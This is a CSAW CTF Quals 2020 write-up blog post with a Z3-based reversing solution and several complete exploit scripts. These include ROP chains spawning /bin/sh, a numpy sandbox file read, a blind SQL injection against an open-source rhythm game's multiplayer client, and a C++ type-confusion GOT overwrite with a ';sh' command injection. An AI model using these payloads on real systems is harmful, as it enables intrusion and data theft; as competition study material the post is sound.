CTFするぞ

CTF以外のことも書くよ

CSAW CTF Quals 2020 Writeups

I was looking forward to playing CSAW CTF Quals 2020 since it was right level for me last year. We played this year's CSAW CTF in zer0pts and reached 11th place.

I mainly worked on pwn and rev, and the pwn challenges were good. (I don't like blox2 though :p) The worst was the reversing tasks: They were boring and some were super-guessy. As I saw my team members working on crypto and web tasks, it seemed crypto and web were terrible too.

I'm going to write my solution for the "decent" tasks among what I solved during the CTF.

The tasks and solvers for the challenges I solved are available here:

bitbucket.org

Other member's writeup:

st98.github.io

[Rev 300pts] blox1(84 solves)

Description: We found an old arcade machine lying around, manufactured by the RET2 Corporation. Their devs are notorious for hiding backdoors and easter eggs in their games, care to take a peek?
Server: [https://wargames.ret2.systems/962c162fa1d2ea626d36/csaw_2020]

We're given a URL to the challenge working on a platform named ret2systems. I don't know why the author couldn't just use SSH or something to run this challenge instead of this strange platform.

f:id:ptr-yudai:20200914105722p:plain

Anyway we have the most part of the source code of TETRIS. Our goal is to find out the cheat codes.

#define LOG_CHEATING 0xbadb01
#define LOG_HACKING 0x41414141
void hw_log(int reason) {
    syscall(1337, reason);
}
...
if (!cheats_enabled && check_cheat_codes()) {
    cheats_enabled = 1;
    hw_log(LOG_CHEATING);
}

The source code of check_cheat_codes is not provided but it exists in the disassembly tab.

f:id:ptr-yudai:20200914110230p:plain

I just read the assembly and converted it into the following C code.

char data_403700[] = {
  3, 2, 3, 2, 2,
  0, 1, 3, 1, 0,
  0, 2, 2, 2, 2,
  0, 3, 0, 1, 0
};
char data_403718[] = {
  1, 2, 3,
  1, 7, 4,
  1, 1, 1,
  3, 7, 5
}
char data_403730[] = {
  2, 2, 2, 2, 2,
  3, 1, 2, 1, 3,
  3, 1, 1, 1, 1,
  3, 1, 3, 1, 3
};
char data_403748[] = {
  5, 2, 3,
  5, 3, 2,
  1, 5, 1,
  4, 3, 4
};

// 0x402637
int huga(int x) {
  for(int i = 0; i < 3; i++) {
    char a = 0, b = 0;
    for(int j = 0; j < 5; j++) {
      if (board[j+15][x*3+i]) { // block exists
        a ^= (j + 1);
        b += 1;
      }
    }
    if (data_403718[x*3 + i] != a) return 0;
    if (data_403748[x*3 + i] != b) return 0;
  }
}

// 0x402554
int hoge(int x) {
  for(int i = 0; i < 5; i++) {
    char a = 0, b = 0;
    for(int j = 0; j < 3; j++) {
      if (board[i+15][x*3+j]) { // block exists
        a ^= (j + 1);
        b += 1;
      }
    }
    if (data_403700[x*5 + i] != a) return 0;
    if (data_403730[x*5 + i] != b) return 0;
  }
  return 1;
}

int check_cheat_codes() {
  for(int i = 0; i < 4; i++) {
    if (hoge(i) == 0) return 0;
    if (huga(i) == 0) return 0;
  }
}

I used Z3 to solve the constraints.

from z3 import *
from ptrlib import *

array1 = [
  3, 2, 3, 2, 2,
  0, 1, 3, 1, 0,
  0, 2, 2, 2, 2,
  0, 3, 0, 1, 0
]
array2 = [
  1, 2, 3,
  1, 7, 4,
  1, 1, 1,
  3, 7, 5
]
array3 = [
  2, 2, 2, 2, 2,
  3, 1, 2, 1, 3,
  3, 1, 1, 1, 1,
  3, 1, 3, 1, 3
]
array4 = [
  5, 2, 3,
  5, 3, 2,
  1, 5, 1,
  4, 3, 4
]

s = Solver()
board = [
    [BitVec(f"flag[{i},{j}]", 8) for j in range(12)]
    for i in range(20)
]

for i in range(20):
    for j in range(12):
        if i < 15:
            s.add(board[i][j] == 0)
        else:
            s.add(Or(board[i][j] == 0, board[i][j] == 1))

for x in range(4):
    # huga
    for i in range(3):
        a = b = BitVec(0, 8)
        for j in range(5):
            a ^= board[j+15][x*3+i] * (j + 1)
            b += board[j+15][x*3+i]
        s.add(a == array2[x*3+i])
        s.add(b == array4[x*3+i])

    # hoge
    for i in range(5):
        a = b = BitVec(0, 8)
        for j in range(3):
            a ^= board[i+15][x*3+j] * (j + 1)
            b += board[i+15][x*3+j]
        s.add(a == array1[x*5+i])
        s.add(b == array3[x*5+i])

r = s.check()
if r == sat:
    m = s.model()
    output = ""
    for i in range(20):
        for j in range(12):
            output += str(m[board[i][j]])
        output += "\n"
    print(output)
else:
    print(r)
    exit()

We need to put the blocks like the following.

110111111111
101100010001
110110010111
101100010100
101111010111

As the program uses srand(1) to initialize the seed, the sequence of tetorimino doesn't change every time we play the game. My solution to arrange this is:

  1. Go gameover to discard S Z T S L Z L L O I L J S Z I Z T I I O O
  2. Use J O O O T J I S Z I T S Z O Z Z S I L Z Z I T T J L S I to create a layout like the following.
S
SS
 S
 Z
ZZ It
ZOOIttT
IOOItTTI
IS IzzTI
ISSZZzzI JJ
IZS ZZ IZJS
ZZ IIIIZZJSS
Z ZZ   Z   S
JJ ZZ  I LLL
J OO   I L
J OOZZ I LLL
OOooJZZITLOO
OOooJJJTTTOO

To accomplish this, we have to put the first S-mino into the storage.

f:id:ptr-yudai:20200914111619p:plain

[Pwn 50pts] roppity (374 solves)

Description: Welcome to pwn!
Files: rop, libc-2.27.so
Server: nc pwn.chal.csaw.io 5016

Just abuse the buffer overflow.

from ptrlib import *

elf = ELF("./rop")
libc = ELF("./libc-2.27.so")

#sock = Process("./rop")
sock = Socket("nc pwn.chal.csaw.io 5016")
sock.recvline()

rop_pop_rdi = 0x00400683
payload  = b"A" * 0x28
payload += p64(rop_pop_rdi)
payload += p64(elf.got("puts"))
payload += p64(elf.plt("puts"))
payload += p64(elf.symbol("main"))
sock.sendline(payload)
libc_base = u64(sock.recvline()) - libc.symbol("puts")
logger.info("libc = " + hex(libc_base))

sock.recvline()
payload  = b"A" * 0x28
payload += p64(rop_pop_rdi + 1)
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
sock.sendline(payload)

sock.interactive()

[Pwn 100pts] slithery (347 solves)

Description: Setting up a new coding environment for my data science students. Some of them are l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can you help test this before I use it for my class? Two sandboxes should be better than one...
File: sandbox.py
Server: nc pwn.chal.csaw.io 5011

We're given a Python code named sandbox.py:

#!/usr/bin/env python3
from base64 import b64decode
import blacklist  # you don't get to see this :p

"""
Don't worry, if you break out of this one, we have another one underneath so that you won't
wreak any havoc!
"""

def main():
    print("EduPy 3.8.2")
    while True:
        try:
            command = input(">>> ")
            if any([x in command for x in blacklist.BLACKLIST]):
                raise Exception("not allowed!!")

            final_cmd = """
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command
            print(final_cmd)
            exec(final_cmd)

        except (KeyboardInterrupt, EOFError):
            return 0
        except Exception as e:
            print(f"Exception: {e}")

if __name__ == "__main__":
    exit(main())

I don't know why they obfuscated the code but it just imports numpy and base64.b64decode. Also, the blacklist is not given :thinking_face:

Anyway the purpose of this challenge may be finding a useful function in numpy which can read a text file.

When numpy.loadtxt fails, it outputs an error with the token it failed to interpret. So, it's done.

$ nc pwn.chal.csaw.io 5011
EduPy 3.8.2
>>> RMbPOQHCzt.loadtxt("flag.txt")
Exception: could not convert string to float: 'flag{y4_sl1th3r3d_0ut}'

[Pwn 150pts] grid (123 solves)

Description: After millions of bugs, all my homies hate C.
Files: grid, libc-2.27.so, libstdc.so.6.0.25
Server: nc pwn.chal.csaw.io 5013

There is a 10x10 map and we can put a characters anywhere every time up to 100 times. As the map is uninitialized, we can easily leak the libc address from libstdc base.

$ ./grid 
shape> d
Displaying
+!`�!
`~#�
�/<U�
p#��
C~#��M
.U�^U
�C~#��
VU�
~
#��~#�

The main vulnerability is the out-of-bounds write in the display function. We can simply put our ROP chain.

from ptrlib import *

def new(shape, x, y):
    sock.sendlineafter("> ", shape)
    sock.sendlineafter("> ", str(x) + " " + str(y))
def display():
    sock.sendlineafter("> ", "d")
    l = []
    sock.recvline()
    for i in range(10):
        l.append(sock.recvline())
    return b''.join(l)

elf = ELF("./grid")
libc = ELF("./libc-2.27.so")
#"""
sock = Socket("nc pwn.chal.csaw.io 5013")
libstd = ELF("./libstdc.so.6.0.25")
"""
sock = Process("./grid", env={"LD_PRELOAD": "./libstdc.so.6.0.25"})
libstd = ELF("./libstdc.so.6.0.25")
#"""

# leak
libstd_base = u64(display()[0x38:0x40]) - libstd.symbol("_ZN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEE5uflowEv") - 13
logger.info("libstd = " + hex(libstd_base))
libc_base = libstd_base - 0x3f1000
logger.info("libc = " + hex(libc_base))

# ROP to leak libc base
rop_pop_rdi = 0x00400ee3
payload  = p64(rop_pop_rdi+1)
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
offset = 0x78
for i, c in enumerate(payload):
    x, y = (offset + i) // 10, (offset + i) % 10
    print(i, hex(c))
    if c == 0xff:
        continue
    new(chr(c), x, y)

sock.sendlineafter("> ", "d")

sock.interactive()

[Pwn 150pts] The Bards' Fail (97 solves)

Description: Pwn your way to glory! You do not need fluency in olde English to solve it, it is just for fun.
Files: bard, libc-2.27.so
Server: nc pwn.chal.csaw.io 5019

We can fill a buffer with 10 good or evil objects. The two structures share same members but have different order.

typedef struct {
  char type;   // +0
  short nazo1; // +2
  int nazo2;   // +4
  char name[0x20]; // +8
  double nazo3;    // +28h
} GoodWeapon;

typedef struct {
  char type;    // +0
  double nazo3; // +8
  int nazo2;    // +10h
  short nazo1;  // +14h
  char name[0x20]; // +16h
} EvilWeapon;

The buffer is allocated in the stack and its size is 0x1e0. As the size of EvilWeapon is 0x38, filling the buffer with EvilWeapon may cause buffer overflow.

from ptrlib import *

def good(name, type=1):
    sock.sendlineafter(":\n", "g")
    sock.sendlineafter("accuracy\n", str(type))
    sock.sendafter(":\n", name)

def evil(name, type=1):
    sock.sendlineafter(":\n", "e")
    sock.sendlineafter("ment\n", str(type))
    sock.sendafter(":\n", name)

libc = ELF("./libc-2.27.so")
elf = ELF("./bard")
#sock = Process("./bard")
sock = Socket("nc pwn.chal.csaw.io 5019")

good("A" * 0x20)
for i in range(7):
    evil("A" * 0x20)
evil("A" * 0x18)
addr_main = 0x40107b
rop_pop_rdi = 0x00401143
payload  = p64(rop_pop_rdi)
payload += p64(elf.got("puts"))
payload += p64(elf.plt("puts"))
payload += p64(addr_main)
good(payload)

for i in range(10):
    sock.sendlineafter("un\n", "r")

sock.recvline()
libc_base = u64(sock.recvline()) - libc.symbol("puts")
logger.info("libc = " + hex(libc_base))

good("A" * 0x20)
for i in range(7):
    evil("A" * 0x20)
evil("A" * 0x18)
addr_main = 0x40107b
rop_pop_rdi = 0x00401143
payload  = p64(rop_pop_rdi + 1)
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
good(payload)

for i in range(10):
    sock.sendlineafter("un\n", "r")

sock.interactive()

[Pwn 250pts] pwnvoltex (20 solves)

Description: With COVID all the arcades are closed :( Luckily there is a clone of my favorite rhythm game, Sound Voltex, free and open source online!! I even charted a new flag song too! Lets play some multiplayer :3
Files: pwnvoltex.tar.gz

README.txt shows the instruction.

Hello!

We are going to have some fun and play my fav game: https://github.com/Drewol/unnamed-sdvx-clone

You can grab it prebuilt from here:

Windows: https://drewol.me/Downloads/Game.zip
Linux (needs github login): https://github.com/Drewol/unnamed-sdvx-clone/suites/1128119397/artifacts/16053517

You can then put the `flagsong` directory into the `songs` directory of USC to play it

Now for the actual challenge:
You have to retrieve the real flag from `./flagsong/flag.ksh` on my computer
(Your copy doesn't have the real flag in it).


My bot (who has the real flag song) will play multiplayer with you if you like.
It will be using https://github.com/itszn/usc-multiplayer-server
on 34.234.204.29 port 39079 (this can be set in the USC settings under online)

The multiplayer sever will restart every 15 min

NOTE: Some functionality of the bot has been simplified for this challenge
but the intended bug left intact. If you think you have a bug that won't
reproduce on the real bot, message me (itszn) and I can test the full, unaltered,
client for you. The client the bot is using should be feature equivalent to
git commit 649b444485db4b1f6dfa0e6adab90dd242764394

Also in case you need it, my computer is running Windows 10
(but you probably don't need to know this...)

ALSO if you are actually good at SDVX, let me know and we can play
some real matches :)

So, we have a game server and the game client. When we create a room as the game host, a bot enters the room immediately and play the game after the host decides the song to play.

Our goal is to leak the effector of flag.ksh in the bot's machine.

title=Wavin' Flag
artist=K'NAAN
effect=flug{bot has the real flag! go pwn it}
jacket=jacket.png
...

Before looking for the vulnerability, I narrowed the subject of the investigation based on some guesses.

  • Perhaps there's no vulnerability in the game server
    • Although the server is written by the challenge author, it's maybe secure because it's been written for a year
    • They would not distribute the code throguh github if it has a vulnerability
  • Perhaps we don't need to use any vulnerabilities like UAF or BOF
    • The game is not patched, which means this challenge must be 0-day or 1-day
    • The bot is running on Windows 10
    • If it's about "pwn," they'd put the flag in flag.txt or something, not as the effector

I focused on two possibilities:

  • The procotol by nature can leak the effector of the client (Protocol's Flaw)
  • The client has a bug which can do something with the effector

I noticed that the game was using SQLite3 to store the music list and so on.

$ file maps.db 
maps.db: SQLite 3.x database, last written using SQLite version 3013000

It smells like SQL Injection. Let's check the source code.

 Map<int32, FolderIndex*> FindFoldersByPath(const String& searchString)
    {
        String stmt = "SELECT DISTINCT folderId FROM Charts WHERE path LIKE \"%" + searchString + "%\"";

        Map<int32, FolderIndex*> res;
        DBStatement search = m_database.Query(stmt);
        while(search.StepRow())
        {
            int32 id = search.IntColumn(0);
            FolderIndex** folder = m_folders.Find(id);
            if(folder)
            {
                res.Add(id, *folder);
            }
        }

        return res;
    }

Bingo!

The flow to the SQLi looks like this:

  1. Create a room as the game host
  2. Bot enters the room
  3. Suggest "[SQLi payload]" as the song name to play
  4. The game server broadcasts the song to other clients
  5. The client (bot) fails to find the song by hash and tries to use the song title
  6. Boom

However, this is a blind SQL Injection. The status of the bot becomes "ready" if the bot can find the song. I used this feature as an oracle and leaked the flag byte by byte with using binary search.

from ptrlib import *
import json

def oracle(query):
    
    def send_json(jsondata):
        sock.send("\x01" + json.dumps(jsondata) + "\x0a")
    def recv_json():
        l = sock.recvline()
        assert l[0] == 1
        r = json.loads(l[1:].decode())
        #print(r)
        return r

    sock = Socket("34.234.204.29", 39079)
    #sock = Socket("0.0.0.0", 39079)

    # create user
    send_json({
        "name": "pwner",
        "password": "",
        "topic": "user.auth",
        "version": "v0.19"
    })
    data = recv_json()
    userid = data["userid"]
    recv_json()

    # create room
    send_json({"name": "myroom piyo", "password": "", "topic": "server.room.new"})
    data = recv_json()
    roomid = data["room"]["id"]
    recv_json()

    # select song
    send_json({
        "chart_hash": "hogehuga",
        "diff": 0,
        "level": 16,
        "song": query,
        "topic": "room.setsong"
    })

    # check bot status
    recv_json()
    data = recv_json()
    sock.close()

    if data["users"][1]["ready"]:
        return True
    else:
        return False

flag = ""
for pos in range(1+len(flag), 100):
    left, right = 0, 128
    while left != right:
        print(pos, hex(left), hex(right))
        mid = (left + right) // 2
        payload = 'nyanta%" UNION SELECT 1 WHERE CASE WHEN unicode(substr((SELECT effector FROM Charts WHERE path LIKE "%flagsong%"),{},1))<{} THEN "%" ELSE "%%" END="'.format(pos, mid)
        if oracle(payload):
            if right == mid:
                break
            left, right = left, mid
        else:
            if left == mid:
                break
            left, right = mid, right
    flag += chr(mid)
    print(flag)

[Pwn 450pts] feather (6 solves)

Description: I made a brand-new filesystem archive format that I think will supercede tar! Could you help me test it out?
Files: feather, feather.cpp, libc-2.31.so
Server: nc pwn.chal.csaw.io 5017

This time the source code is provided. Nice!

The program is a file system loader. The structure of the file system looks like this:

[  header  ]
[ segment1 ]--+
[ segment2 ]--|-+
...           | |
[ segment3 ]--|-|-+
[  file 1  ]<-+ | |
[  file 2  ]<---+ |
...               |
[  file 3  ]<-----+

There are 5 types of the file:

  • DIR: Directory
  • FILE: File
  • CLONE: Clone of a file
  • SYMLINK: Symbolic link
  • HARDLINK: Hard link
  • LABEL: The label of the volume

Finding the Vulnerability

There exists many bugs which crashes the program. After I run fuzzing on the program with a dirty Python code, I found the following crash.

$ ./feather 
Please send a base64-encoded feather file, followed by two newlines:
RkVBVEhFUgADAAAABQAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAQAAAAwAAAAEAAAAAQAAAA0AAAAJAAAAWAAAAAABAAAAAQAAAAEAAADnAwAAQQ==

Loading Feather Filesystem...
Filesystem dump:
Tree with label X:/
Error: Unhandled segment type in print_tree: 0x58
中止 (コアダンプ)

It looks like a type confusion. This is the part which crafts the filesystem in the minimal PoC.

data = [
    (TYPE_LABEL, 1, label(b"X")),
    (TYPE_DIR , 0, directory(b"", [1])),
    (TYPE_HARD, 1, hardlink(b"A", 999)),
]

In this file system, I put a root directory, a hardlink and a label. The hardlink points to an inode that doesn't exist. By changing the order like the following, you'll realize it's type confusion.

data = [
    (TYPE_DIR , 0, directory(b"", [1])),
    (TYPE_HARD, 1, hardlink(b"A", 999)),
    (TYPE_LABEL, -1, label(b"A" * 0x40)),
]

Yummy :P

Filesystem dump:
Tree with label AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/
Error: Unhandled segment type in print_tree: 0x41414141
中止 (コアダンプ)

Type Confusion to AAW

So, what can we do with the type confusion?

File_Clone has a cache system.

  File_Clone &file_clone(Feather &fs) {
    auto &result = std::get<File_Clone>(value);
    if (result.cached_file_contents.empty()) {
      result.cached_file_contents =
          fs.loaded_segments.find(result.source_inode)->second->file().contents;
    }
    return result;
  }

When it's trying to print_tree a clone file, it calls file_clone to cache the data of the actual file. So, if we can prepare a fake cached_file_contents, we may get AAW primitive.

Is it possible even under the condition result.cached_file_contents.empty()?

The structure of vector<u8> looks like this:

+0x00: the start address of the vector
+0x08: the current end address of the vector
+0x10: the end address of the vector(capacity)

I read how empty() method in C++ works in assembly and found it just return true when cur == begin.

Also, I read the copy constructor (operator==) of vector<u8> in assembly. It's deepcopy and only reallocates when the capacity is not enough. That is, "end - begin <= the size of source vector."

To summerize, we can make AAW by preparing a fake File_Clone like this:

[Segment_Type type]
+0x00: 2

[std::string name]
+0x08: <address of filename>
+0x10: <size of the string>
+0x10: <capacity of the string>
+0x18: 0

[Value value] (std::variant)
+0x20: <file id>
+0x28: <target address>
+0x30: <target address>
+0x38: <target address + 0x100>
+0x40: 0
+0x48: 2 (variant type)

Address Leak

We can leak the address by the filename. I made the filename of the fake File_Clone point to puts@got to leak the libc base.

Getting the Shell

Although we can overwrite the GOT by AAW, we have to carefully choose which function to overwrite. First of all, we have to call main function again so that we can get the shell in the second round. We can't overwrite something like puts or delete because it'll be used in the second round as well.

I used memcmp as the trigger. memcmp is used by the comparison of std::string. String comparison occurs only when Symlink tries to trace the filepath.

Also, we can pass an arbitrary argument to memcmp, which is useful to call system("/bin/sh").

Exploit

This challenge is one of the best C++ pwn I've ever solved.

import base64
from ptrlib import *

TYPE_DIR   = 0
TYPE_FILE  = 1
TYPE_CLON  = 2
TYPE_SYM   = 3
TYPE_HARD  = 4
TYPE_LABEL = 5

def segment(type, id, offset, length):
    return p32(type) + p32(id) + p32(offset) + p32(length)
def directory(name, entries):
    d = p32(len(name)) + p32(len(entries)) + name
    for entry in entries:
        d += p32(entry)
    return d
def file(name, contents):
    return p32(len(name)) + p32(len(contents)) + name + contents
def clone(name, inode):
    return p32(len(name)) + p32(inode) + name
def symlink(name, target):
    return p32(len(name)) + p32(len(target)) + name + target
def hardlink(name, target):
    return p32(len(name)) + p32(target) + name
def label(name):
    return name

elf = ELF("./feather")
#sock = Process("./feather")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Socket("localhost", 9999)
sock = Socket("pwn.chal.csaw.io", 5017)
libc = ELF("./libc-2.31.so")

"""
Stage 1: libc leak
"""
addr_target = elf.got("memcmp")

fake_entry  = p64(TYPE_CLON)           # type
fake_entry += p64(elf.got("puts"))     # filename (leak target)
fake_entry += p64(0x10) * 2
fake_entry += p64(0)
fake_entry += p64(0xdead)              # inode
fake_entry += p64(addr_target)         # cache->begin
fake_entry += p64(addr_target)         # cache->end
fake_entry += p64(addr_target + 0x100) # cache->capacity
fake_entry += p64(0)
fake_entry += p64(2) # variant type

payload = p64(elf.symbol("_start"))

data = [
    (TYPE_DIR  , 0x0000, directory(b"", [0xcafe, 0xbad0])),
    (TYPE_FILE , 0xdead, file(b"A"*0x10, payload)),
    (TYPE_HARD , 0xcafe, hardlink(b"C", 0x0002)),
    (TYPE_LABEL, 0xffff, label(fake_entry)),
    (TYPE_FILE , 0xbad1, file(b"B", b"b"*0x10)),
    (TYPE_SYM  , 0xbad0, symlink(b"D"*0x10, b"/B")), # calls memcmp
]
fs =  b"FEATHER\x00"
fs += p32(len(data))
ofs = 0
for datum in data:
    fs += segment(type=datum[0], id=datum[1], offset=ofs, length=len(datum[2]))
    ofs += len(datum[2])
for datum in data:
    fs += datum[2]

b = base64.b64encode(fs)
sock.recvline()
sock.sendline(b + b'\n')

r = sock.recvregex("(.+): File, 8 bytes")
libc_base = u64(r[0][2:]) - libc.symbol("puts")
logger.info("libc = " + hex(libc_base))

"""
Stage 2: Get the shell!
"""
#addr_target = elf.got("_ZdlPvm")
addr_target = elf.got("memcmp")

fake_entry  = p64(TYPE_CLON)           # type
fake_entry += p64(elf.got("puts"))     # filename
fake_entry += p64(0x10) * 2
fake_entry += p64(0)
fake_entry += p64(0xdead)              # inode
fake_entry += p64(addr_target)         # cache->begin
fake_entry += p64(addr_target)         # cache->end
fake_entry += p64(addr_target + 0x100) # cache->capacity
fake_entry += p64(0)
fake_entry += p64(2) # variant type

payload = p64(libc_base + libc.symbol("system"))

data = [
    (TYPE_DIR  , 0x0000, directory(b"", [0xcafe, 0xbad0])),
    (TYPE_FILE , 0xdead, file(b"A"*0x10, payload)),
    (TYPE_HARD , 0xcafe, hardlink(b"C", 0x0002)),
    (TYPE_LABEL, 0xffff, label(fake_entry)),
    (TYPE_FILE , 0xbad1, file(b"B", b"ponta")),
    (TYPE_SYM  , 0xbad0, symlink(b"D", b"/B/;sh")), # calls memcmp
]
fs =  b"FEATHER\x00"
fs += p32(len(data))
ofs = 0
for datum in data:
    fs += segment(type=datum[0], id=datum[1], offset=ofs, length=len(datum[2]))
    ofs += len(datum[2])
for datum in data:
    fs += datum[2]

b = base64.b64encode(fs)
sock.recvline()
sock.recvline()
sock.sendline(b + b'\n')

sock.interactive()